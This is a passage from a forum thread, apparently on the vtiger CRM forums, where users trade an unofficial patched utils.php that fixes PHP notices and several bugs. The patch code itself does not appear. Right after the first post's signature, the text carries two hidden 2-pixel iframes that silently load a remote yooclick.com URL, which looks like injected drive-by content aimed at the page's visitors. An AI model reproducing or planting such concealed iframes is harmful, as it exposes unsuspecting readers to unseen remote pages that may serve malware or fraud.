Here's a fixed up version of utils.php which contains the following:
- Most undefined variable errors fixed
- Most undefined index errors fixed
- Incorrect use of boolean and (&) replaced with logical and (&&)
Even if you're happy running with E_NOTICE errors off, this will speed up your page loads about 10%, and fixes a variable name typo issue in the "New Note" page.
However, this does not fix bug
#446 - see my comments in the bug tracker about that one.
Enjoy!
Terry, Scribendi.com <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
each time php throws an error, it wastes a whole load of time, so eliminating about 25% of e_notice errors per page ought to speed things up significantly, but i haven't benchmarked this code.
i'm going to turn my attention to the whole heap of undefined contast notices in the views next, so feel free to run with this version of utils.php and post further updates here.
terry, scribendi.com
replaced the utils.php with success.
i can imagine that less errors should have a impact on performance and tried to do a benchmark - but i don't know exactly what to measure... <!-- s;-) --><img src="{smilies_path}/icon_wink.gif" alt=";-)" title="wink" /><!-- s;-) -->
so my subjective impression is that there is an improvement.
thanks,
- i have included the fix by gtyreman - see http://forums.vtiger.com/viewtopic.php?t=3376
- i have fixed a broken link issue with long email addresses, urls or filenames in list views - the display value is still truncated to 40 characters, but the links are now generated correctly with the full length string.
- please note the above does not fix an underlying issue with the website field of the account table being a varchar(30). imho this should be increased in the next full vtiger patch.
if you know of any more fixes for utils.php in 4.2.2 which you would like to see rolled in to this, please pm me.
terry, scribendi.com
markus
i suggest adding the following to util.php to fix the default date error as mentioned in this bug:
http://bugs.vtiger.com/general.php?action=index&ticketid=733
i am no coder but i can copy, paste and tweak. here is my (rough) solution:
issues: this is not ideal as it fixes the problem after the formating dependant on the users date settings. get a real coder to look into this for the future.
cheers,
scott
include/utils.php: line 888 of 4774
this was edited on your utils.php offered above.
cheers
scott
i think that my php inexperience is showing through!
thanks,
scott